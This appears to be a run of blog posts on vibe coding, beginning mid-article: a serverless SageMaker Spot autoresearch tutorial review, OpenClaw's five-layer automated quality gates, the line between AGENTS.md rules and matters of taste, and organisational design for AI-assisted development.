The repository calls this the HUGI (Hurry Up and Get Idle) pattern.¹ Rather than keeping a server alive for a long time, it computes in a short burst and returns immediately to idle. This simple shift completely changes the cost structure. It shows that “serverless” does not just mean function invocation — it is an operating philosophy applicable to GPU workloads as well.

By the tutorial’s account, the actual validation is fairly concrete.

The point of this project, then, is not “it runs even on cheap GPUs” but that you can buy a lot of cheap failure.⁵⁶⁷³

2. The Real Point the Tutorial Makes

2.1 Vague requests have to be narrowed through a deep interview

The first scene of the tutorial is not code but questions. The user pairs a request to “reproduce the autoresearch experiment” with an instruction to conduct a deep interview if needed.⁸ As a result, the goal is redefined from simple reproduction into these three things:

• Serverless execution based on SageMaker Managed Spot Training
• OMC-based autonomous iterative experimentation
• Documentation reusable for teaching and demo purposes

This looks small but it is a very important shift. A vague “reproduction” often ends up merely imitating the original. After an interview, by contrast, “what will we learn,” “what will we automate,” and “what will we leave behind” become clear. It shows that vibe coding is less the skill of writing long prompts than the interviewing skill of drawing out a good problem definition.

2.2 Plan mode has to come before implementation

In the second chapter, the AI does not write code right away. It first explores the upstream autoresearch codebase and the user’s existing SageMaker patterns, then plans a pipeline structure divided into a candidate generator, a batch launcher, a results collector, and a selection module.⁴

Partway through, when the user adds the condition to “make aggressive use of parallel execution and HUGI, the advantages of the cloud,” the design changes from sequential execution to a population-based parallel evolution structure.⁴ This passage shows well that vibe coding is not “code the AI wrote on its own” — its usefulness grows only when you can revise the architecture at the planning stage.

The tutorial in fact records that 23 files were created in this session and that the entire path was validated with make dry-run.⁴ What matters more than the speed of generation is that the structure was agreed on before generation.

2.3 Infrastructure problems are not peripheral issues but core design variables

The third chapter is the highlight of this project. The code is ready, but the AWS infrastructure trips it up. The GPU Spot quota defaults to 0, and Spot availability differs enormously by region.⁹¹⁰

The most practical lesson in the tutorial is aws ec2 get-spot-placement-scores. The same g7e-family instance scores 1-2 in us-west-2 and is nearly impossible to obtain, while in us-east-1 it scores 9 and is allocated quickly.⁹¹⁰ Many teams waste time here, because they treat infrastructure problems as “something to solve once the code is done.” This repository says the opposite. Which region you use, which instance you use, and how quickly your quota gets approved are themselves part of pipeline design.

Another passage that stands out is the difference in approval by GPU type. g7e is approved relatively quickly, but p5 and p6 can take days of manual review.⁹¹⁰ This kind of knowledge never shows up inside the code. That is why documentation and operational memory matter more.

2.4 Cheap experiments deliver cheap lessons quickly

The fourth and fifth chapters show what “cheap experiments” really means. In the first successful experiment, the L40S did not properly support Flash Attention 3 and threw a runtime CUDA error, which ultimately led to logic that explicitly checks GPU capability and falls back to PyTorch SDPA.⁵ The fix got the first successful experiment running, but MFU stayed at about 20.5%, roughly half of what an H100 achieves.⁵

It does not end there. In the next experiment, there was VRAM to spare, so raising DEVICE_BATCH_SIZE seemed like it should help — but the result got worse instead. The reason is that the total token count did not increase while gradient accumulation simply decreased.⁶¹⁰ This is a point many ML teams genuinely get confused about. Using more GPU memory does not mean more training happened.

This project validates such misconceptions cheaply. Repeating the same mistake in a big-budget H100 experiment would have cost far more.

2.5 Autonomous experimentation paid off through “small adjustments” rather than “bold changes”

The most interesting result of the autonomous evolution stage is not a flashy architectural change but the fact that conservative learning rate adjustments worked best. Small changes to EMBEDDING_LR and SCALAR_LR led to improvements, while medium-scale or larger interventions — increasing DEPTH, expanding TOTAL_BATCH_SIZE, changing WINDOW_PATTERN — mostly made things worse or ended in timeouts.⁷³

This pattern matters more than it might seem. On a short five-minute training budget, complex structural changes never get the time to converge. So an AI agent in this environment is stronger as “an operator who doggedly tunes small numbers” than as “a bold inventor.” It means vibe coding does not always produce creative leaps — it is strong at rapidly accumulating small improvements inside a short feedback loop.

3. The Way It Converts Failure into Skills Is Especially Good

What makes this repository especially good from ROBOCO’s perspective is how it handles the final step. Rather than stopping at summarizing results once the experiments end, it organizes 12 insights in docs/insights.md and then connects those to reusable skills for Claude Code.¹¹¹⁰

What is captured there is not simple notes.

• Spot scores differ enormously by region.
• Smaller instances are not always cheaper.
• DEVICE_BATCH_SIZE is closer to VRAM usage than to throughput.
• Cheap Spot GPUs work well enough as a proxy for validating hypotheses before expensive H100 training.

This form of consolidation is what separates levels of maturity in vibe coding. Many teams forget what they learned once the session with the AI ends. Teams that do it well turn failures into documents and turn documents back into skills and rules. Then the quality of the next session goes up. The source of productivity becomes not the model itself but accumulated operational knowledge.

4. What ROBOCO Takes Away From This

serverless-autoresearch shows that vibe coding can go beyond toy-level app building to handle ML experiment pipelines and cloud operations design. And success or failure depends less on volume of generated code than on these four things:

• How well you interview the initial request to narrow the problem
• How clearly you agree on the architecture before implementation
• How quickly you validate the infrastructure and cost structure
• How quickly you convert failures into documents and skills

In the end, this project’s core message is simple. Vibe coding does not replace engineering. Instead it moves the center of engineering from typing directly to asking questions, designing, experimenting, and accumulating lessons. serverless-autoresearch is a case that shows well what that shift actually looks like.

Read the original repository and the tutorial together and you will see something far more interesting than “the AI wrote the code.” What remains is the process of designing the experiment system itself together with an AI.¹²

Thousands of PRs pouring into a 310K-star project, plus parallel commits from eight AI agents. The secret to keeping quality from collapsing amid that chaos is five layers of automated gatekeeping.

In an earlier post I analyzed the productivity principles embedded in OpenClaw’s AGENTS.md. The heart of that piece was “writing the rules down.” But writing rules and enforcing them are entirely different problems.

OpenClaw is the most-starred repository on GitHub (310K+) and a flagship case study in vibe coding.¹ The project absorbs two extreme pressures at once. One is the flood of internal changes produced by maintainer Peter Steinberger, who runs three to eight AI agents simultaneously. The other is the thousands of external PRs submitted by contributors worldwide, most of them AI-assisted.

Writing “don’t do this” in AGENTS.md is a soft guardrail. AI agents usually comply, but not always. External contributors may not even know the rules exist. So OpenClaw stacked five layers of automated enforcement on top of the rules. This post dissects those layers.

TL;DR

• OpenClaw’s quality control is not just a rules document. It operates as five overlapping layers: pre-commit hooks, pnpm check, CI, PR automation, and release gates.
• Problems that can be fixed automatically get fixed by tooling, while dangerous problems — type errors, security issues, architectural boundary violations — get blocked. That split creates defense in depth.
• The goal in the vibe coding era is not to stop AI from ever writing bad code, but to stop bad code from reaching production.

Layer 1: Catch It Before the Commit — Local Pre-Commit Hooks

OpenClaw’s first line of defense fires before code ever reaches the repository. git-hooks/pre-commit is activated automatically through the prepare script in package.json and runs on every commit.

The order of operations is telling:

1. Filter staged files by type
2. oxlint --type-aware --fix — auto-fixes lint errors
3. oxfmt --write — auto-fixes formatting
4. Re-stage the modified files
5. pnpm check — run the full quality gate

The core design idea is separating auto-fix from blocking. Mechanically fixable problems such as formatting or lint errors get repaired by the hook and allowed through. Problems that require judgment — type errors, architectural boundary violations — block the commit outright. Without that distinction, agents either stall on trivial formatting issues or sail past structural defects. One or the other.

On top of this, .pre-commit-config.yaml defines 17 security and quality hooks that also run in CI’s security-fast job. detect-private-key and detect-secrets block secret leakage, zizmor audits the security of GitHub Actions workflows, and pnpm-audit-prod scans production dependencies for known vulnerabilities.

Layer 2: One Command, Ten Verifications — pnpm check

pnpm check is the single quality gate that runs both in local hooks and in CI. More than ten checks are chained behind that one command.

pnpm check =
  check:no-conflict-markers          # No merge conflict markers
  check:host-env-policy:swift         # Swift host environment security policy
  check:base-config-schema            # Config schema drift check
  check:bundled-plugin-metadata       # Plugin metadata consistency
  check:bundled-provider-auth-env-vars # Provider auth env var consistency
  format:check (oxfmt)                # Formatting verification
  tsgo                                # Native TypeScript type checking
  plugin-sdk:check-exports            # Plugin SDK export consistency
  lint (oxlint --type-aware)          # Type-aware linting
  + ~15 custom architectural boundary lint scripts

The last line is the most noteworthy part. A typical linter catches code-level problems like unused variables or missing semicolons. OpenClaw’s custom boundary guard scripts catch architecture-level violations. They detect when an Extension imports core src/** directly, references internal paths in the plugin SDK, or reaches outside the package root with relative paths.

This is the code implementation of the import boundary rule I analyzed in the earlier AGENTS.md post. What the rules document says not to do, CI actually verifies and blocks. It is a double barrier of rules and verification.

Layer 3: Fifteen Parallel Jobs Inspect Every Change — The CI Workflow

OpenClaw’s ci.yml is the main gatekeeper, running on PRs and pushes to main. It consists of roughly 15 parallel jobs and skips draft PRs.

Smart Routing: Reconciling Speed and Thoroughness

Running every test on every change is thorough but slow. Running only related tests is fast but leaky. OpenClaw resolves this dilemma with a preflight job.

The preflight job detects the scope of changed files and generates a CI manifest. Docs-only changes get docs checks only; touching a Swift file adds a macOS build and test run; changing a single Extension runs only that Extension’s tests. This smart routing strikes the balance between “slow but thorough” CI and “fast but incomplete” CI.

The Full CI Job Structure

The architectural boundary guards in the check-additional job are especially impressive. Custom scripts detect plugin-to-Extension import violations, references to Extension SDK internal paths, raw window.open usage, gateway watch regressions, and more. These are guardrails purpose-built for a vibe coding environment — nothing you would find in a conventional CI pipeline.

Layer 4: Triaging Thousands of PRs Without a Human — PR Lifecycle Automation

A 310K-star project attracts thousands of issues and PRs. There is no way a maintainer can triage them one by one. OpenClaw solves this with three automation workflows.

Auto-Labeling: The Changed Files Are the Label

The labeler.yml workflow analyzes changed file paths when a PR opens and assigns labels automatically. It defines 21 channel labels (channel: discord, channel: telegram, and so on), 4 app labels (app: ios, app: android, etc.), 8 area labels (gateway, agents, security, etc.), and more than 30 Extension labels.

On top of that, PR size labels (XS/S/M/L/XL) are assigned automatically based on line count, maintainer labels are derived from team membership, and beta-blocker labels are detected from the PR title. These labels then trigger the auto-response system in the next stage.

Auto-Response: Filtering Noise Automatically

auto-response.yml processes PRs and issues automatically based on labels. The rules in this workflow accumulated from real operational experience.

Spam/noise blocking:

• r: spam or r: moltbook label → auto-close + lock
• dirty label or PRs with more than 20 labels → close with a “noisy PR” message

Community behavior limits:

• A non-maintainer with more than 10 open PRs → assign r: too-many-prs and auto-close
• Mentioning three or more maintainers on an issue or PR → spam-ping warning message

Routing to the right channel:

• r: skill → point skill-related questions to ClawHub, then close
• r: support → point support requests to Discord, then close
• r: no-ci-pr → reject PRs that only change CI configuration

The 10-PR-per-person cap matters especially in the vibe coding era. In an environment where AI tools make it easy to mass-produce PRs, it prevents any one person from monopolizing the review queue. CONTRIBUTING.md states the same principle: “Keep PRs focused (one thing per PR; do not mix unrelated concerns)”²

Lifecycle Management: Abandoned PRs Get Cleaned Up Automatically

stale.yml runs daily and cleans up abandoned issues and PRs. Issues are marked stale after 7 days and closed 5 days later; PRs go stale after 5 days and close 3 days later. Closed issues are locked after 48 hours. Items labeled enhancement, maintainer, pinned, or security are exempt.

It is notable that PRs have a shorter lifespan than issues (5+3 days vs. 7+5 days). Code changes drift further from their context and grow more likely to conflict as time passes.

The PR Template: Demanding Evidence Structurally

OpenClaw’s PR template goes beyond the usual “what did you do” and enforces evidence-based review.

Among the required sections, these stand out:

• What did NOT change (scope boundary): Explicitly declare what was left untouched. Changes made by AI agents tend to sprawl in scope, so forcing an intentional boundary declaration lets reviewers detect scope creep.
• Security Impact: Check Yes/No individually for changes to permissions, secrets, network, tool execution, and data access. Instead of a vague “does this affect security?”, it walks through concrete surfaces one at a time.
• Evidence: At least one of a failing-to-passing test, a trace/log, or a screenshot is mandatory.
• Human Verification: State the scenarios verified, the edge cases, and — crucially — what was not verified.

That last item matters most. If you only ask “what did you test,” PR authors list the cases that passed. Ask “what did you not test,” and reviewers can immediately locate the risky areas.

Layer 5: Stop Before Irreversible Actions — Release Gates

CI is fully automatic; releases never are. OpenClaw’s release pipeline consists of a manual trigger, environment approval, and multi-stage verification.

The NPM Release: A 19-Step Sequence

openclaw-npm-release.yml is triggered only by workflow_dispatch. There is no automatic release. Once it runs, it passes through these verifications in order:

1. Tag format validation
2. pnpm check + pnpm build + pnpm release:check
3. npm version uniqueness confirmation
4. npm-release environment approval → explicit sign-off from a member of the @openclaw/openclaw-release-managers team is required
5. Enforced execution from the main branch only
6. Then a 19-step sequence: tag creation → npm preflight → mac preflight (public + private) → actual publish → asset verification → appcast update

CODEOWNERS: Physically Locking the Security Surface

CODEOWNERS is a hard guardrail enforced by GitHub itself. If AGENTS.md’s “don’t touch the security files” is a soft guardrail, CODEOWNERS makes the merge itself impossible without review approval from the owning team.

Surfaces protected by @openclaw/secops:

• Security code: src/security/, src/secrets/, gateway auth/secrets, agent sandbox
• Security infrastructure: dependabot, CodeQL, SECURITY.md
• Security docs: all documentation on authentication, sandboxing, and secrets

Surfaces protected by @openclaw/openclaw-release-managers:

• Release workflows, publish scripts, release documentation

The CODEOWNERS file itself can only be modified by @steipete, the founder. A gatekeeper guarding the gatekeepers.

Skill Gates for AI Agents

Even the AI agent skills for release and PR management have gates.

The $openclaw-pr-maintainer skill enforces an evidence standard for bug-fix PRs. Issue text or the AI’s own reasoning is not enough to merge. It requires symptom evidence, a verified root cause at the file/line level, a fix in the relevant code path, and a regression test. Any bulk close/reopen exceeding five items requires explicit user confirmation.

The $openclaw-release-maintainer skill requires operator approval at every step for both version-number changes and npm publishes. Skills assist with automation, but irreversible actions still end with a human decision.

The Defense in Depth the Five Layers Create

Viewing all five layers as a single picture reveals the defense in depth that code must traverse before reaching production.

[Developer / Agent]
       ↓
  Layer 1: Pre-commit ──── Auto-fix format/lint, block type/boundary violations
       ↓
  Layer 2: pnpm check ──── 10+ chained checks, 15+ architectural boundary guards
       ↓
  Layer 3: CI ──────────── 15 parallel jobs, cross-platform, security scans
       ↓
  Layer 4: PR automation ─ Label triage, noise filters, evidence-based template, stale cleanup
       ↓
  Layer 5: Release ─────── Manual trigger, environment approval, CODEOWNERS, 19-step verification
       ↓
  [Production]

Each layer is independent. If pre-commit fails, CI catches it; if CI is bypassed, PR review catches it; if the PR passes, the release gate blocks it. When one layer is breached, the next one defends.

Seven Design Principles

Here are the design principles distilled from OpenClaw’s gatekeeping.

1. Separate Auto-Fix from Blocking

Auto-fix formatting and lint errors; hard-block type and boundary violations. This avoids needlessly interrupting the agent’s flow while never letting structural defects through.

2. Preserve Speed with Smart Routing

Don’t run every test on every change. Detect the scope of the change and run only the relevant jobs. Fast feedback and thorough verification can coexist.

3. Overlap Rules Documents with Automated Verification

Write “don’t do this” in AGENTS.md, and actually detect the violation in CI. The double barrier of soft and hard guardrails creates defense in depth.

4. Demand Evidence Structurally in PRs

Ask not only “what did you do” but “what did you not do,” “what evidence do you have,” and “is there a security impact” — structurally. Make the author supply upfront the information the reviewer needs to judge.

5. Filter Community Noise Automatically

A 10-PR-per-person cap, automatic stale closing, label-driven auto-close and routing, maintainer-ping spam detection. Maintainer attention is a finite resource, and automated triage protects it.

6. Stop Before Irreversible Actions

CI is fully automatic, but releases need a manual trigger plus environment approval. Even AI agent skills require step-by-step approval for version changes and publishes. “Move fast, but stop before actions you cannot undo.”

7. Put a Gatekeeper in Front of the Gatekeepers

Only the founder can modify the CODEOWNERS file. Only the release manager team can modify release workflows. Security code cannot be merged without secops approval. There is a meta layer protecting the gatekeeping system itself.

Applying This to Your Own Project

You don’t need to adopt all five of OpenClaw’s layers at once. Ordered by difficulty:

The highest-ROI items are the pre-commit hook and the PR template. Both can be adopted within a day, and the effect is immediate. Add the rest incrementally, calibrated to your project’s scale and risk profile.

Quality control in the vibe coding era is not about “keeping AI from writing bad code.” AI sometimes writes bad code. So do people. What matters is keeping bad code from reaching production. OpenClaw’s five-layer gatekeeping shows how.

The job of AGENTS.md is not to clone your developers. It is to pin down only the boundaries where accidents must be prevented.

Teams that adopt vibe coding soon run into a similar question. Once you start putting an AGENTS.md or CLAUDE.md in every repository to tell AI agents the rules, it becomes murky how far you should pin things down as shared rules and where you should leave things to individual taste. Draw that line wrong and two problems appear at once: the safety rules that absolutely must hold get loose, while choices that are really just preferences become needlessly rigid.

A perspective that shows up often in recent vibe coding discussions runs along similar lines. Humans should concentrate on high-level judgment such as system architecture and taste, and hand implementation, boilerplate, and repetitive refactoring to agents. Translated into practical terms, this is simple. Keep in the repository the things that “must come out the same no matter who does the work,” and don’t force uniformity on the areas where it is fine for people to differ.

This question does not stay theoretical. Looking at the [OpenClaw case study]¹ and the [anatomy of OpenClaw’s AGENTS.md]² I wrote up earlier, what actually produced the productivity was not uniformity of taste but explicitness of boundaries. Steinberger likewise explains that these days he doesn’t read all the code, but he keeps his hands on system structure and design.³⁴ What OpenClaw pinned down hard was not tabs versus spaces either — it was import boundaries, build gates, multi-agent safety rules, and approval boundaries for irreversible operations.⁵

The key is not writing a lot, but designing what to close and what to leave open.

TL;DR

• Repository rules should not be a document that clones the team’s taste; they should be a document that pins down the boundaries where accidents are expensive.
• Build, test, security, Git safety rules, and architectural boundaries belong under version control alongside the repository.
• Matters of taste such as naming nuance or comment style are better handled by formatters, linters, templates, and personal prompts.

Why this distinction matters

AI agents follow rules quickly. The problem is that they cannot tell one kind of rule from another on their own. When repository guidelines mix constraints that must be obeyed — build commands, secret handling, branch safety rules — with taste at the level of “this is how I’d write it,” the agent treats both with the same weight. The important rules then get buried, and the less important ones get amplified out of proportion.

For example, merging without getting pnpm test to pass produces bugs. Committing a real secret causes an incident. Changing authentication flows or payment authorization logic without adequate review creates operational risk. These are operating contracts, not matters open to debate. Whether to name a function findUser or getUserById, whether to put test files next to the source or collect them under __tests__, in what order to sort imports — these may affect the outcome, but there is usually no single fixed right answer.

If you don’t draw this distinction, repository documentation bloats fast. Promote every preference to a central rule and the agent spends more context reading the document, while the team burns unnecessary energy on trivial style agreements. Conversely, treat objective constraints as though they were taste, and in a multi-agent environment you get repeated conflicts and rework.

In the end, a good AGENTS.md should not be a dictionary of the team’s taste. It should be a document that draws clear boundaries around the areas where accidents are expensive.

What OpenClaw actually demonstrated

As I laid out in an earlier post, OpenClaw’s AGENTS.md is not a simple style guide but an operating contract.² What is interesting is that the document focuses far more on “where can an agent cause an accident” than on “how do we clone our developers.” Looking at the actual guidelines, changes that could affect build artifacts or module boundaries are required to pass pnpm build as a hard gate, and typical evasion patterns such as @ts-nocheck are explicitly banned.⁵

For instance, OpenClaw locks down import boundaries as a rule so that extensions cannot reach directly into internal implementation. It also has multi-agent safety rules such as banning git stash, banning arbitrary branch switching, and keeping commits atomic. Build and test are split into hard gates and soft gates, spelling out clearly when verification is mandatory.²⁵

By contrast, that document is not designed around personal taste such as “always use semicolons” or “name functions in this particular tone.” In other words, the core of what OpenClaw demonstrated is simple. What repository documentation should address is structural safety, not aesthetic consistency.

Rules that should be managed alongside the repository

The following are the areas that should be version-controlled along with the repository. They have one thing in common: violating them produces bugs, conflicts, security incidents, or operational confusion.

• Build and test commands
• Git safety rules for multi-agent environments
• Architectural constraints such as public API surface, import boundaries, and package boundaries
• Security boundaries such as secrets, personal data, and production configuration values
• High-risk areas requiring manual review, such as authentication, payments, authorization, and DB schemas
• Change management principles such as PR and commit granularity
• Work sequences that lower the cost of errors, such as Research → Plan → Implement
• Transparency requirements for AI usage
• Quality gates and automation criteria the team has already validated

These items are closer to a repository operating contract than to “recommendations that look nice.”

For example, the build command must not be interpreted differently by different people as npm run build or pnpm build. The automation pipeline and local verification have to run off the same command. The same goes for Git rules. In an environment where multiple agents work simultaneously, arbitrary use of stash, unrequested branch changes, and broad non-atomic commits produce real conflicts.

Security boundaries hardly need explanation. Real phone numbers, production environment variables, private keys, customer data samples — these are a prohibition list, not a team style preference. Content like this should not be left to personal prompts or tacit knowledge; it needs to live in the repository documentation and in automated scanning rules.

Workflow ordering follows the same logic. A procedure that requires reading existing code before implementing, making a plan, and only then making changes is not mere formalism. Agents get faster the fewer questions they ask, but getting faster on top of a wrong assumption comes back more expensively later. So a rule requiring exploration and planning first is not taste; it is a cost-reduction device.

There is one more important point here. If a team already depends on automation, the format that automation expects also becomes a shared rule. For example, if the Conventional Commits format is wired into release notes, changelogs, and CI routing, it is no longer a matter of taste. Conversely, if it is merely a format preference at the level of “it reads nicely,” it can be a team-level agreement without needing to be elevated to a core repository rule.

Where to put recurring procedures can be judged by the same standard. Rather than writing complex recurring work such as releases or security checks at length in the body of AGENTS.md, OpenClaw separates it out into dedicated skills.²⁶ This is a good distinction as well. Leaving principles and boundaries in the core repository document while separating procedural detail into a reusable execution surface holds up longer.

Areas that can be left to personal taste

Conversely, the following areas can be left to individual or team taste. A team can of course standardize them for consistency, but they don’t need to be part of the repository’s core safety contract.

• Formatting details such as whether to use semicolons, how much whitespace, and trailing commas
• Fine nuances of function and variable names
• Import sort order
• Style choices about how heavily to comment
• How test files are laid out and how tests are described
• Preference for abstracting early versus late
• Preference between feature-based and layer-based structure
• Detailed choices of error-handling pattern
• Personal working habits such as whether you write long or short prompts

For items like these, different choices can all be reasonable. Some teams prefer strict type settings, while others raise strictness gradually to lower onboarding cost. Some teams like the Result pattern; others find exception-based flow clearer. Either way, applied consistently, both can be perfectly reasonable.

The important thing is that this is not a call to ignore taste entirely. Taste affects productivity too. What matters is where you put it. Rather than treating it as a core repository contract, it is better handled with lighter instruments such as formatters, linters, templates, sample code, personal prompts, and team playbooks. That way you preserve taste without letting repository guidelines get excessively heavy.

In vibe coding this difference matters even more. Inject every preference forcefully into an agent and code generation actually becomes rigid, with rule conflicts firing on even small changes. Leave taste as loose guidance and pin down hard only the boundaries directly tied to safety and quality, and the agent works far more stably.

OpenClaw gives a good hint here too. What that repository’s coding style rules are really blocking is not the choice between tabs and spaces but structural defects such as overuse of @ts-nocheck, mixing in dynamic imports, and prototype mutation.²⁵ It may look like a style section on the surface, but the actual content is less about taste than about defusing time bombs.

A one-line test

In practice you don’t need to overthink it. This single criterion classifies most cases.

If violating it causes bugs, conflicts, security incidents, or review confusion, it’s a repository rule.
If violating it merely prompts “I wouldn’t write it that way,” it’s taste.

What makes this criterion good is that it stays valid even when the tech stack changes. React or Go, monorepo or single service — as long as humans and agents work together, “rules that prevent accidents” and “rules that express preference” have to be kept apart.

Practical design: four layers make it clean

I recommend splitting repository operating rules into the following four layers.

First, put only hard guardrails in AGENTS.md. Things where getting it wrong causes an accident: build and test commands, forbidden areas, mandatory review conditions, Git safety rules, and approval boundaries for high-risk changes.

Second, put shared team conventions into the code formatter and linter, templates, and example code. Things where consistency matters but which don’t need to be read at length as documentation: naming preferences, import order, file layout, comment style.

Third, split complex recurring procedures into skills or playbooks. Rather than stuffing multi-step work such as releases, security checks, and PR operations verbosely into the main document, peel it off as an executable workflow.

Fourth, leave personal working style to local prompts and editor settings. Things like prompt voice, the number of parallel agents, exploration habits, and ad hoc checklists are better left to the domain of individual productivity.

Split this way, the repository gets lighter, team agreements get automated, and individuals can keep the working style that suits them. Above all, the priority of the guidance the agent reads becomes crisp.

The point is not to clone your developers

The core of vibe coding is not making AI write code the way a person does. It is rather about accepting the areas where it doesn’t have to write exactly like a person, and in exchange clearly pinning down only the parts that absolutely must be the same.

Good repository guidelines don’t spend paragraphs explaining “our team is made up of people with these tastes.” Instead they say, briefly and clearly, “in this repository, these things at least must be observed.” Leave taste open; close the boundaries.

That, in the end, is likely the difference between teams that use AI agents well and teams that keep getting worn down even while using AI.

Whether vibe coding succeeds or fails comes down to organizational design: whether the team can verify and ship AI-generated changes in a repeatable, safe way.

Many organizations understand vibe coding as little more than “a way for developers to produce code faster.” So the adoption conversation usually starts with tooling. But what actually decides success or failure in the field is organizational structure, not the tool or the model’s performance.

Vibe coding is less like autocomplete and more like a redesign of how work gets done. Productivity grows when each member of the organization covers a wider surface and when handoff and communication costs between teams go down. That does not mean the goal is headcount reduction. The point is to make the same organization deliver more, faster, and more safely. Doing that requires designing how requirements get decomposed, which changes get delegated to AI and which ones humans judge directly, and what tests and approvals a change must clear before shipping. Without that design, AI amplifies confusion rather than productivity.

This post distills organizational design principles for landing vibe coding inside a real product development organization, drawing on lessons that show up consistently in the OpenClaw case and in recent enterprise AI adoption efforts.

TL;DR

• The success of a vibe coding rollout depends less on tooling and more on the organizational structure and accountability system that verifies and ships AI-generated changes.
• Repository-level instructions are not enough. Shared plugins, guardrails, and approval conditions need central management, with field champions tuning them to each team’s context.
• Design the operating model as a Research → Plan → Implement → Auto Review → Monitor flow, and focus humans on exceptions and high-risk judgment rather than on every review.

Not Writing Less Code, but Designing the System That Generates Code

The human role does not disappear in a vibe coding environment. Its center of gravity simply moves. Time spent typing code directly goes down, and these activities grow in proportion:

• Decomposing work into small units
• Documenting the constraints and rules agents must follow
• Designing approval policies and blocking thresholds
• Automating test, review, and deployment gates
• Feeding incidents and failures back into guidelines and rules

This shift cannot be absorbed by an individual developer’s prompting skill alone. It requires an operating contract at the organizational level. Keeping an agent instruction file such as CLAUDE.md/AGENTS.md in every repository — machine-readable, covering build methods, test commands, forbidden areas, review criteria, and security boundaries — is now closer to table stakes than to an option.

Ultimately, the important question is: “Under what discipline and what accountability structure will our organization handle the changes AI produces?”

Repository Instructions Are Not Enough. You Need a Company-Wide Shared Plugin System

A repository-level AGENTS.md is useful for pinning down local context. But organizational adoption does not end there. Once each team starts copying its own prompts and tool connections, the same work gets defined many times over, permission control scatters, and good workflows survive only as the know-how of a few individuals.

That is why organization-level vibe coding needs a shared plugin system. Here, a plugin is not merely a collection of prompts. It is an operational package that bundles the memory (rules), skills, hooks, connectors, and approval conditions required for a specific role or task into a single deployable unit. In other words, shared skills are not standalone artifacts but parts of a shared plugin, and real guardrails are only enforced when the rules inside the plugin, the executable skills, and the auto-invoked hooks work together. The Claude Cowork update Anthropic announced on February 24, 2026 points in the same direction. Administrators can now build an internal plugin marketplace, bundle approved connectors, connect private GitHub repositories as plugin sources, and control automatic installation and access at the team or user level.¹

Individual prompts raise individual productivity. Shared plugins create organizational consistency. The operating unit that matters is not “who uses it well” but “whether the same boundaries and quality standards apply no matter who uses it.”

An organization-level plugin system should, at minimum, do the following:

• Distribute proven workflows in a reusable form
• Centrally control approved connectors and data access scope
• Absorb per-team context differences through plugin versions and settings
• Observe usage, cost, and tool calls to measure which automations actually work

In the end, repository instructions define “how to work in this codebase,” and shared plugins define “how AI works in our organization.” If the former is a local operating contract, the latter is a shared operational product for the whole company.

Why So Many AI Rollouts Underdeliver

The reasons vibe coding adoption underdelivers are usually similar: teams look only at generation speed and bolt on the control structure later. Early on, everyone feels fast. PRs go up quickly, document drafts appear in an instant, and test code gets written more easily than before. But a few months in, review fatigue rises, accountability blurs, and operational stability starts to wobble.

This is not strange. The weaker an organization’s engineering fundamentals, the more AI amplifies noise before it amplifies speed. If there is no habit of shipping frequently in small batches, if test reliability is low, and if code review standards are fuzzy, AI does not resolve the bottleneck — it pushes more changes into it.

So a vibe coding rollout should be treated as an operations design project, not a productivity project. Speed is an outcome, not a starting point. Four questions have to be answered first:

• Which changes may AI perform autonomously?
• Which changes must pass through human approval?
• What evidence must exist for a reviewer to approve with confidence?
• Where will lessons from failures accumulate?

Deploy tools without answering these, and the organization soon arrives at “we do use AI, but we’re more tired than before.”

Recommended Organizational Model: Central Platform + Field Champions + Final Ownership

For most organizations, the most realistic answer is a hybrid model. Having a central platform team control everything becomes a bottleneck; letting every product team use its own tools fragments quickly.

The hybrid model has three layers.

First, a central AI platform and guardrails team provides shared infrastructure. Foundational capabilities belong here: model routing, access control, the shared plugin marketplace, approved connectors, common prompt and skill templates, repository integration, log and cost observability, and policy automation.

Second, each product squad has an AI champion or AI specialist. This role is not someone who uses the tools on the team’s behalf. It is the connective tissue that tunes guidelines and plugins to the team’s actual workflow, judges which tasks to delegate to AI, and feeds failure patterns back to the platform team.

Third, final accountability still rests with the product team. Operational responsibility must not shift to the platform team just because AI wrote the code. The ultimate owner of service outages, security issues, and quality problems has to be the team that runs the service.

Sketched simply, the structure looks like this:

%%{init: {
  'theme': 'base',
  'themeVariables': {
    'background': 'transparent',
    'primaryColor': '#1f2937',
    'primaryTextColor': '#f9fafb',
    'primaryBorderColor': '#60a5fa',
    'secondaryColor': '#0f766e',
    'secondaryTextColor': '#f9fafb',
    'secondaryBorderColor': '#5eead4',
    'tertiaryColor': '#374151',
    'tertiaryTextColor': '#f9fafb',
    'tertiaryBorderColor': '#fbbf24',
    'lineColor': '#94a3b8',
    'clusterBkg': '#111827',
    'clusterBorder': '#64748b',
    'defaultLinkColor': '#94a3b8'
  }
}}%%
flowchart TB
    CTO[CTO / Head of Engineering] --> Platform[AI Platform & Guardrails]
    CTO --> Squads[Product Squads]
    CISO[CISO / Security] --> Governance[AI Security & Governance]

    Platform --> Gateway[LLM Gateway]
    Platform --> DevEx[Repo / IDE / CI Integration]
    Platform --> Evals[Evals & Quality Gates]
    Platform --> Observe[Cost / Logs / Observability]

    Squads --> Leads[EM / Tech Lead]
    Squads --> Champions[AI Champions]

    Governance -. policy .-> Platform
    Governance -. high-risk approval .-> Squads
    Champions -. field feedback .-> Platform

The point is clear: standardization and shared distribution live at the center, context adaptation happens in the field, and accountability sits with the product team.

The Standard Operating Model Should Be Research → Plan → Implement → Auto Review → Monitor

Teams that do vibe coding well do not jump straight into implementation. They research first, reduce ambiguity through a deep interview, plan, and then implement. Enforcing that order is what cuts the cost of early misunderstandings.

The recommended baseline flow is as follows:

1. Intake the requirement or issue.
2. Research the existing code and constraints.
3. During research and planning, run the deep interview skill included in the company-wide or team-wide plugin, and use a plugin hook to always invoke it first so that requirements, approval boundaries, data access, and exception conditions are confirmed.
4. Document the change plan based on the deep interview results.
5. Implement and test.
6. Run static analysis, security scans, tests, and AI review automatically.
7. Once the gates pass, land the change via auto-merge or a direct commit path.
8. After deployment, monitor operational metrics and anomaly signals automatically.
9. Feed incidents and exceptions back into the instruction files and gate rules.

The deep interview here is not an optional checklist. It should be embedded inside the organization-wide or team-wide plugin in the form of memory (rules), skills, and hooks, and always be invoked first during research and planning. That way, independent of any repository’s local instructions, company-level guardrails for security, approval, and separation of duties get applied the same way every time. In other words, the interview itself is the execution surface of operating policy, and the plugin hook is the mechanism that keeps that policy from being skipped.

Steps 3 and 4 are the critical ones. A plan document should contain at least the following:

• Which files change
• What the intent of the change is
• Which shared guardrails and exception approval conditions were confirmed in the deep interview
• Which tests will verify it
• How to roll back on failure
• Whether there is any impact on security or data access

